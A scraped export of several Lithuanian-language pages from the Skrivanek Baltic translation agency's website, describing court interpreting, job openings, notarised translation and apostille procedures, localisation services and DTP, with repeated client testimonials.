norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > Užtikriname vertimą žodžiu teismo posėdžiuose. Mūsų vertėjai žodžiu yra patyrę ir gerai išmano teisinę terminologiją. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2022-08-10 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional Jei per teismo posėdį reikia vertėjo žodžiu pagalbos, labai svarbu, kad vertėjas žodžiu gebėtų ne tik išversti visų dalyvaujančių šalių žodžius, bet ir orientuotis teismų praktikoje, terminologijoje ir procese. „Skrivanek Baltic“ turi vertėjų žodžiu komandą, kurios specializacija – teismo posėdžių vertimo žodžiu sritis. Svarbu, kad vertimą teisme atliktų profesionalas, nes tinkamo išsilavinimo ir patirties neturintis asmuo negalės iki galo suprasti proceso ir jame vartojamų terminų. Skyrybos, žalos išieškojimas, darbo ginčai, įsipareigojimų nevykdymas ar nuosavybės klausimai – tai bylos, kurių nagrinėjime nuolat dalyvauja mūsų vertėjai žodžiu, ir kiekvienoje iš jų reikia išmanyti atitinkamą terminologiją. Teisinė kalba iš esmės yra tiksli, todėl teismo vertimas turi būti tikslus žodis žodin. KALBOS, Į KURIAS DAŽNIAUSIAI VERČIAME ŽODŽIU TEISMUOSE: latvių–anglų–latvių; estų–anglų–estų; lietuvių–anglų–lietuvių; rusų–anglų–rusų; švedų–latvių–švedų, ispanų–latvių–ispanų, italų–latvių–italų, rusų–latvių–rusų ir kt. REIKIA VERTIMO ŽODŽIU TEISME? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Sužinokite daugiau apie mūsų įdarbinimo procesą perskaitę mūsų reikalavimus ir bendradarbiavimo sąlygas. Prisijunkite prie mūsų! - Published: 2022-07-13 - Modified: 2025-06-17 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional Žinome, kokia svarbi mūsų kalbų paslaugų kokybė, todėl dirbame tik su geriausiais kalbų specialistais. „Skrivanek Baltic“ taip pat turi kitų skyrių, kuriuose vertimo patirtis nebūtina – susipažinkite su dabartinėmis laisvomis darbo vietomis. Šiuo metu ieškome vertėjų žodžiu ir raštu šių kalbų kombinacijų: čekų–latvių–čekų estų–latvių–estų norvegų–latvių–norvegų slovakų–latvių–slovakų vokiečių–latvių–vokiečių Šiuo metu ieškome vertėjų žodžiu šiomis kalbų kombinacijomis: rusų–latvių–rusų ATVYKITE Į PRAKTIKĄ „SKRIVANEK“! Studijuojate anglų, vokiečių, prancūzų arba taikomąją kalbotyrą? Norite sužinoti, ar turite įgūdžių, reikalingų tapti profesionaliu vertėju? Norite pasimokyti iš geriausiųjų ir pamatyti, kaip dirba pramonės lyderiai? Susisiekite su mumis! Siųskite savo gyvenimo aprašymą (papasakokite apie įdomiausius pasiekimus mokykloje) adresu lelde@skrivanek. lv ir temos eilutėje įrašykite „Praktikos vieta“. IEŠKOME DTP (Dokumentų grafinio apdorojimo) SPECIALISTŲ Reikalavimai: bent dvejų metų grafinio dokumentų apdorojimo patirtis; pageidautina turėti aukštąjį išsilavinimą IT srityje; maketavimo žinios; punktualumas ir tikslumas atliekant užduotis; žinios ir patirtis dirbant su programine įranga, pvz. („Adobe Photoshop“, „Adobe Acrobat“, „Corel Draw“, „Adobe Page Maker“, „Adobe FrameMaker“, „Adobe InDesign“, „Adobe Illustrator“, „Quark Xpress“, „MS Office“). Kandidatas turi gebėti būti savarankiškas, gerai planuoti savo laiką, pasižymėti dideliu atsakomybės jausmu ir gebėti rasti sprendimus nestandartinėse situacijose. Norite dirbti su mumis? Užsiregistruokite tiekėjų portale dabar! PASTABA: nepamirškite įkelti savo gyvenimo aprašymo ir kitų dokumentų, patvirtinančių jūsų kvalifikaciją ir patirtį (pvz. , diplomų, sertifikatų, rekomendacinių laiškų ir kt. ). Jei su jumis nesusisiekiame per 7 dienas nuo registracijos Tiekėjų portale momento, informuosime, kad šiuo metu neturime jokių bendradarbiavimo pasiūlymų. Paraiškoje pateikite šią nuorodą: „Sutinku, kad atrankos metu būtų tvarkomi mano asmens duomenys. “ Sparčiai augant mūsų įmonei, ieškome papildomų darbuotojų šioms pareigoms: ieškome anglų, vokiečių ir prancūzų kalbų vertėjų, turinčių CAT įrankių ir NMT redagavimo patirties. Anglų IT farmacija ir farmakologija kardiologija medicininė įranga baldų pramonė energetikos mokslas telekomunikacijos Vokiečių automatizavimas / robotika statyba / civilinė inžinerija elektros ir elektronikos inžinerija energetikos mokslas automobiliai / aviacija farmacija sveikatos priežiūra medicininė įranga Prancūzų bankininkystė / investicijos ekonomika apskaita draudimas automatizavimas / robotika statyba / civilinė inžinerija elektros ir elektronikos inžinerija energetikos mokslas automobiliai / aviacija Pirmenybė teikiama specialistams, kurių specializacija viena iš pirmiau nurodytų sričių. Norite prisijungti prie mūsų? Užsiregistruokite tiekėjų portale dabar! PASTABA: nepamirškite įkelti savo gyvenimo aprašymo ir kitų dokumentų, patvirtinančių jūsų kvalifikaciją ir patirtį (pvz. , diplomų, sertifikatų, rekomendacinių laiškų ir kt. ). Jei su jumis nesusisiekiame per 7 dienas nuo registracijos Tiekėjų portale momento, informuosime, kad šiuo metu neturime jokių bendradarbiavimo pasiūlymų. Jei turite klausimų apie personalo atranką, kreipkitės į mus el. paštu lelde@skrivanek. lv RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- - Published: 2022-07-13 - Modified: 2022-07-15 - URL: https://skrivanek.lv/sadarbibas-partneri/ - Translation Priorities: Optional „SKRIVANEK BALTIC“ DIRBA SU: Amerikos prekybos rūmais Latvijoje Latvijos prekybos ir pramonės rūmais Vokietijos ir Baltijos šalių prekybos rūmais Estijoje, Latvijoje ir Lietuvoje Švedijos prekybos rūmais Latvijoje Europos kalbų paslaugų teikėjų asociacija „SKRIVANEK HOLDING“ SE DIRBA SU: ATC – Vertimo įmonių asociacija GALA – Globalizacijos ir lokalizacijos asociacija ACTA – Čekijos vertimo biurų asociacija Kalbos įmonių asociacija D-U-N-S® (universalioji duomenų numeravimo sistema) --- > „Skrivanek“ siūlo notaro patvirtintus vertimus į daugiau nei 110 kalbų. Susisiekite su mumis ir susitarsime dėl jums patogiausio sprendimo. - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ - Translation Priorities: Optional REIKIA NOTARO PATVIRTINTO VERTIMO? SUSISIEKITE SU MUMIS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Nemokama automobilių stovėjimo aikštelėGardi kavaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomisDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsISO sertifikatais patvirtinta kokybės ir konfidencialumo garantija99 % klientų pasiūlymą gauna greičiau nei per 15 minučių NOTARO PATVIRTINTAS VERTIMAS Notaro patvirtintas vertimas – tai vertimas, kurį pasirašo kvalifikuotas vertėjas ir patvirtina notaras. Tokių vertimų poreikis numatytas keliuose įstatymuose ir kituose teisės aktuose. Praktiškai notaras patikrina vertėjo išsilavinimą ir kvalifikaciją vertimui atlikti, taip pat įspėja apie vertėjo atsakomybę už sąmoningai melagingą ir (arba) neteisingą vertimą pagal Latvijos Respublikos baudžiamojo įstatymo 300 ir 302 straipsnius. „Skrivanek Baltic“ siūlo notaro patvirtintus vertimus šiomis kalbomis. NOTARO VERTIMO TVIRTINIMO TIPAI Vertimo patvirtinimas ant dokumento originalo: vertimas prisegamas prie dokumento originalo ir patvirtinamas kvalifikuoto vertėjo, kurio parašas yra patvirtintas notaro. Kopijos patvirtinimas: nuo dokumento originalo daroma fotokopija ir prie jos prisegamas kvalifikuoto vertėjo patvirtintas vertimas į atitinkamą kalbą; fotokopiją su vertimu notaras patvirtina tik tada, kai pateikiamas dokumento originalas. VERSLO KLIENTAMS, KURIEMS REIKALINGAS NOTARO PATVIRTINTAS VERTIMAS: dokumentų padavimas ir atsiėmimas „Skrivanek Baltic“ biure Rygoje; patvirtinto vertimo atsiėmimas notaro biure Rygoje; dokumentų pristatymas kurjeriu visoje Latvijoje (prašome susisiekti su mumis dėl paslaugos kainos. ) KAIP PARENGTI POPIERINIO DOKUMENTO, KURĮ REIKIA PATEIKTI ELEKTRONINIU BŪDU, NOTARO PATVIRTINTĄ VERTIMĄ? Ką daryti, jei dokumento originalas yra popierinis, bet dokumentą ir jo patvirtintą vertimą reikia pateikti elektroniniu būdu ir pasirašyti e. parašu? Šiuo atveju vertėjas pirmiausia parengia ir pasirašo originalaus dokumento vertimą, taip pat popieriniu formatu, o tada notaras patvirtina vertėjo parašo autentiškumą popieriniu formatu. Prie šio pasirašyto vertimo pridedamas originalas arba notaro patvirtinta originalo kopija. Užbaigus popierinį vertimą, jis nuskenuojamas kaip vienas dokumentas ir šis nuskenuotas dokumentas patvirtinamas e. parašu edoc, asic-e arba PDF formatu. DOKUMENTŲ AUTENTIŠKUMO PATVIRTINIMAS UŽSIENYJE IŠDUOTŲ DOKUMENTŲ NAUDOJIMAS LATVIJOS RESPUBLIKOJE Jei dokumentas išduotas užsienio šalyje, kuri yra prisijungusi prie 1961 m. Hagos konvencijos dėl užsienyje išduodamų viešųjų dokumentų legalizavimo reikalavimo panaikinimo, jo autentiškumas turi būti patvirtintas apostile jį išdavusios šalies kompetentingoje institucijoje. Tokiu būdu patvirtinto dokumento nebereikia dar kartą apostilizuoti Latvijos Respublikoje, nes Graikijoje kartą apostilizuotas dokumentas galios, pavyzdžiui, Latvijoje, Lenkijoje ir kitose daugiau kaip 100 Hagos konvencijos valstybių narių. LATVIJOS RESPUBLIKOJE IŠDUOTŲ DOKUMENTŲ NAUDOJIMAS UŽSIENYJE Nuo 2019 m. liepos 1 d. Latvijoje išduotų viešųjų dokumentų, skirtų naudoti šalyje, kuri yra 1961 m. Hagos konvencijos šalis, legalizavimą apostile atlieka notaras. Viešieji dokumentai – tai mokyklos ir universiteto diplomai, gimimo liudijimai, neteistumo pažymėjimai, santuokos liudijimai, sveikatos pažymėjimai ir kt. , taip pat Latvijoje išduotas įgaliojimas, skirtas naudoti kitoje šalyje. Jei dokumentas išduotas Latvijoje ir bus naudojamas šalyje, kuri nėra Hagos konvencijos šalis, jis pirmiausia turi būti legalizuotas Latvijos Respublikos užsienio reikalų ministerijos Konsuliniame departamente. Be to, elektroniniu būdu išduotus dokumentus notarai gali apostilizuoti nuotoliniu būdu. NAUDINGI PATARIMAI, KAIP PARENGTI DOKUMENTUS Notaro patvirtintam vertimui reikalingas visiškai įformintas ir teisiškai galiojantis dokumentas. Dokumente turi būti pateikta ši informacija: dokumento autorius; dokumento sudarymo data; dokumento sudarymo, išdavimo ir pasirašymo vieta; parašas (-ai). Daugiau informacijos apie dokumentų pateikimą rasite 2010 m. rugsėjo 28 d. Ministrų kabineto reglamente Nr. 916 „Dokumentų rengimo ir pateikimo taisyklės“. Norint patvirtinti dokumento kopiją, notarui turi būti pateiktas dokumento originalas. Atkreipkite dėmesį, kad dokumentas parengtas elektroniniu būdu ir pasirašytas elektroniniu parašu nėra vienodi. Pavyzdžiui, elektroniniu parašu pasirašytais dokumentais negali būti laikomi įvairių sistemų automatiškai generuojami pranešimai ar sąskaitos faktūros, nes tam, kad elektroninis dokumentas, kaip ir popierinis dokumentas, turėtų teisinę galią, jis turi būti suformuotas pagal norminiuose teisės aktuose nustatytus dokumentų įforminimo reikalavimus, t. y. jame turi būti visi privalomi rekvizitai. Privalomi e. dokumento duomenys nesiskiria nuo popierinio dokumento duomenų. Norint pateikti notaro patvirtintą tokio elektroninio dokumento vertimą, būtina atsispausdinti dokumentą ir patvirtinti, kad elektroninis dokumentas yra tikras ir nebuvo suklastotas ar kitaip pakeistas arba suklastotas. Pažymėjime turi būti nurodytas jūsų vardas, pavardė, asmens kodas ir pareigos. Norėdami rasti šią paslaugą internete, žmonės dažnai vartoja įvairius raktinius žodžius: „prisiekusysis vertėjas Kaune, Vilniuje ar Klaipėdoje“, „prisiekusysis vertėjas“, „prisiekusysis vertimas“, „prisiekusiojo vertimo kainos“ ir t. t. Svarbu prisiminti, kad Latvijoje nėra prisiekusiojo vertėjo raštu ir žodžiu instituto, todėl visos šios paieškos iš esmės yra notaro patvirtinti vertimai. NOTARO PATVIRTINTAS ELEKTRONINIU PARAŠU PASIRAŠYTO DOKUMENTO VERTIMAS. Yra du skirtingi būdai, kaip notaro patvirtinti elektroniniu parašu pasirašyto dokumento vertimą: elektroniniu parašu pasirašyto dokumento vertimas ir jo patvirtinimas ruošiami popieriniu formatu, pavyzdžiui, jei jį galima pridėti prie fizinės bylos, notaras atspausdina elektroniniu parašu pasirašytą dokumentą ir patvirtina jį kaip originalo kopiją, prie kurios atitinkamai prisegamas vertimas ir notaro patvirtinimas; elektroniniu parašu pasirašyto dokumento notaro patvirtintas vertimas paruošiamas tik elektroniniu formatu e-aplinkoje; atitinkamai pradžioje vertėjas paruošia vertimą ir pasirašo jį savo el. parašu, o po to prisiekusysis notaras paruošia vertimo patvirtinimą ir jį taip pat pasirašo e. parašu edoc ar asic-e formatu. Ši paslauga negaliam PDF formatu. PIRMASIS VERTIMO EGZEMPLIORIUS, IKI 10 PSL. SERTIFIKAVIMAS SU BIURO ANTSPAUDU TIK 5,00 EURAI + PVM! Jei nereikia notaro patvirtinto vertimo, siūlome patvirtinti vertimo tikslumą biuro antspaudu! NOTARO PATVIRTINTI VERTIMAI Į DAUGIAU NEI 110 KALBŲ. Anglų kalba Arabų kalba Armėnų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Gruzinų kalba Hindi kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Kinų kalba Lenkų kalba Portugalų kalba Suomių kalba Rumunų kalba Ispanų kalba Vengrų kalba Vokiečių kalba Švedų kalba kitos kalbos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2022-08-01 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Naudodamiesi interneto galimybėmis į savo verslą galite pritraukti klientų iš viso pasaulio. Jei siūlote e. mokymosi paslaugas, įskaitant įvairius internetinius kursus, rekomenduojame visiškai lokalizuoti turinį arba mokymosi sistemą pasirinkta kalba. Visoms mokymosi formoms, įskaitant e. mokymąsi, reikia, kad mokiniui būtų siūlomas aukščiausios kokybės turinys, leidžiantis įgyti naujų žinių. Daugybę įgūdžių ir žinių galima išmokti internetu, ir puiku, jei tai daroma gimtąja kalba. „Skrivanek Baltic“, turinti 25 metų patirtį verčiant, lokalizuojant ir pritaikant įvairų turinį aptarnaujamai rinkai, yra pasirengusi padėti. Su mūsų pagalba galėsite kalbėti su savo potencialiais klientais jų gimtąja kalba ir taip išpopuliarėti ne tik Lietuvos rinkoje. Pripažindamas didėjantį e. mokymosi ir įvairių internetinių kursų populiarumą, bet kuris tokių paslaugų teikėjas turi atsižvelgti į tai, kad norint pritraukti tam tikro regiono studentus, būtina turėti galimybę juos pasiekti tiesiogiai, betarpiškai ir asmeniškai. Todėl puiku, jei galite pasiūlyti kursus tikslinės auditorijos kalba. Taip pat yra sektorių, kuriuose naudinga mokymosi platforma viena iš pagrindinių pasaulio kalbų – anglų, ispanų, vokiečių, prancūzų ar kita kalba. Turinio ir sprendimų lokalizavimas reiškia, kad jūsų e. mokymosi platforma, įskaitant visą mokymosi medžiagą ir pagalbinę medžiagą, bus pritaikyta ta kalba kalbančių žmonių poreikiams. Siekdami kuo geresnių rezultatų, garantuojame, kad turinys bus ne tik išverstas, bet ir pritaikytas tikslinei rinkai. Lokalizavimas ir pritaikymas yra kūrybinis procesas, reikalaujantis išsamių šios srities žinių. „Skrivanek Baltic“ ekspertai ne tik gerai išmano jūsų sritį, bet ir kalbos vartotojų kultūrą. Mūsų ekspertai taip pat padės įvertinti, kiek jūsų turinys aktualus potencialiai tikslinei auditorijai ir ar reikalingas konkretesnis pasiruošimas. Susisiekite su mūsų projektų vadovais ir sužinokite, kaip greitai galime lokalizuoti jūsų e. mokymosi turinį ar platformą jūsų tikslinei kalbų rinkai! DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. REIKIA VERTIMO? IEŠKOTE KALBINIO SPRENDIMO? REIKIA KONSULTACIJOS? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2022-08-01 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ Skaitmeninė rinkodara, įskaitant interneto svetaines ir apgalvotas internetinės žiniasklaidos kampanijas, užkariauja klientų širdis ir protus pranešimais virtualioje aplinkoje, o socialiniai tinklai leidžia jiems užmegzti glaudesnius tarpusavio ryšius. Ypatingas jūsų produkto unikalumas gali būti prarastas paprastame, klasikiniame vertime: čia jums į pagalbą ateina rinkodaros turinio lokalizavimas. KODĖL REIKIA LOKALIZUOTI SKAITMENINĖS RINKODAROS TURINĮ? Kodėl reikia lokalizuoti turinį? Kodėl nepakanka vertimo? Kiekviena tauta ir kultūra turi savo tradicijas, be to, neišvengiamai egzistuoja žargonas, kurio nežinojimas gali sukelti keblių situacijų. Kartą „Mitsubishi“ Pietų Amerikoje susidūrė su gana nemalonia situacija – jų populiaraus visureigio „Pajero“ pavadinimas ispaniškai kalbančiose šalyse taikomas tingiems, nerūpestingiems vyrams. Jį teko pervadinti į „Montero“. Jei būtų pasitelktas specialistas, išmanantis atitinkamos kultūros ir kalbos niuansus ir galintis laiku juos perteikti, didelė automobilių grupė būtų išvengusi nemalonių akimirkų. „Skrivanek“ kalbos specialistai lokalizuos bet kokį jūsų parengtą tekstą pagal atitinkamos kalbos ir kultūros ypatumus, taip pat pritaikys socialinių tinklų įrašus; be kita ko, padės parinkti tinkamiausius paveikslėlius, pvz. , „Instagram“ ar „Facebook“, atsižvelgiant į kultūrinius ypatumus. Nesvarbu, ar tai būtų produktų aprašymai, socialinės žiniasklaidos pranešimai, ar reklaminė medžiaga, galite būti tikri, kad jie bus suvokiami taip, tarsi būtų sukurti tikslinėje šalyje. KĄ MES SIŪLOME LOKALIZUOTI: Mūsų specialistai ne tik prireikus išvers ir lokalizuos jūsų svetainę, bet ir pritaikys reikiamus raktinius žodžius optimizavimui interneto paieškos sistemose (SEO), kad jūsų svetainė būtų geriau matoma „Google“. Be to, raktiniai žodžiai taip pat bus pritaikyti „Google Ads“. Pritaikysime jūsų internetinę parduotuvę užsienio pirkėjų poreikiams ir taip išplėsime jūsų klientų ratą, taip pat patikrinsime, ar jūsų produktų pavadinimai ir aprašymai tinka visoms jus dominančioms rinkoms. Parengsime garso ir vaizdo failus pagal konkrečios rinkos reikalavimus, parengsime pirminį tekstą tiek įrašui, tiek subtitrams, taip pat pateiksime rekomendacijas dėl vietos specifikos, įskaitant vietovardžius ir asmenvardžius, įtraukimo. Mes ne tik lokalizuosime socialinės žiniasklaidos turinį, bet ir prireikus jį sukursime, taip pat pritrauksime tinkamiausius vietos įtakinguosius asmenis. Nesvarbu, kuriame socialiniame tinkle („Twitter“, „Facebook“, „LinkedIn“, „Instagram“ ir t. t. ) leisite savo produktui prabilti, mes suteiksime jam vietinį skambesį. Parengsime tinklaraščio įrašus jus dominančia tema, kad reklamuotume jūsų produktą ir leistume jam organiškai įsilieti į atitinkamos šalies informacinę erdvę. Sukursime saitažodžius pagal aktualias temas, kad jūsų produktas taptų panašus į vietinį produktą, o ne pasiklystų svetimos šalies rinkoje. DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Galime išversti bet ką beveik bet kokiu elektroniniu formatu, išsaugodami originalaus dokumento formatą. Teikdami lokalizavimo paslaugas laikomės konkrečių kliento pateiktų nurodymų arba programinės įrangos diktuojamų nustatymų. Su malonumu! „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairias svetaines ir turinio valdymo sistemas. Visada užtikriname profesionalų požiūrį ir randame tinkamiausią sprendimą jūsų konkrečiai situacijai, kad užtikrintume geriausius rezultatus atitinkamais kalbų deriniais. Taip, dažnai savo bendradarbiavimo partneriams netgi sudarome kalbų specialistų komandas. Tai reiškia, kad paslaugas teikia tie patys vertėjai raštu ar žodžiu, kaip ir anksčiau. Džiaugiamės jūsų atsiliepimais ir mielai pasitelksime tą patį kalbos specialistą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovus. REIKIA LOKALIZUOTI SKAITMENINĖS RINKODAROS TURINĮ? Parengsime individualų sprendimą ir pakonsultuosime jus dominančiu klausimu. Siųsti užklausą PASLAUGŲ PATIKIMUMAS, GREITIS IR KOKYBĖ. KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  DAUGIAU NEI 25 METAI RINKOJE! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ - Translation Priorities: Optional TECHNOLOGIJOS IR FORMATAI Jūsų užsakytą projektą galime parengti šiomis teksto redaktoriaus ir grafikos programomis: MS Word PDF dokumentas Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign KOMANDA IR PATIRTIS „Skrivanek DTP“ komandoje dirba specialistai, kurie ne tik atliks grafinį teksto apdorojimą, bet prireikus pagal originalą apdoros nuotraukas, paveikslėlius, lenteles ir t. t. Taip pat atliekame visapusišką išankstinį tekstų apdorojimą. Įmonėje taip pat dirba patyrę projektų vadovai, technikai, programinės įrangos inžinieriai, testuotojai, kalbų specialistai ir kvalifikuoti vertėjai, kuriems šalies, kuriai skirtas produktas, kalba yra gimtoji. KOMPLEKSINĖS PASLAUGOS Pagal jūsų užsakymą, pavyzdžiui, parengsime naudotojo vadovo vertimą pagal originalą su visais paveikslėliais, lentelėmis ir priedais kitais formatais. Galime įvykdyti užsakymus tiek PC, tiek „Macintosh“ platformose. DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Teikiame vertimo žodžiu ir raštu, paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose, verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Rašytiniai vertimai apima specializuotus ir bendruosius vertimus įvairiose srityse. Taip pat teikiame lokalizavimo paslaugas, teksto adaptavimo ir kūrimo, DTP maketavimo ir kalbų mokymo paslaugas. Jei reikia, garantuojame, kad mūsų išverstas dokumentas atrodys lygiai taip pat, kaip ir originalas, arba sukuriame jį pagal kliento reikalavimus, pasitelkdami savo DTP komandą. Kiek įmanoma, dirbame su originaliais dokumentais elektroniniu formatu, nekeisdami jų stiliaus ir formatavimo. Visiškai bet kokiu elektroniniu formatu – jei dokumento nėra elektroniniu formatu, atsiųskite mums nuotraukas arba atvykite į mūsų biurą Lāčplēša gatvėje 87C. REIKIA KOMPLEKSINIO SPRENDIMO AR KONSULTACIJOS? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  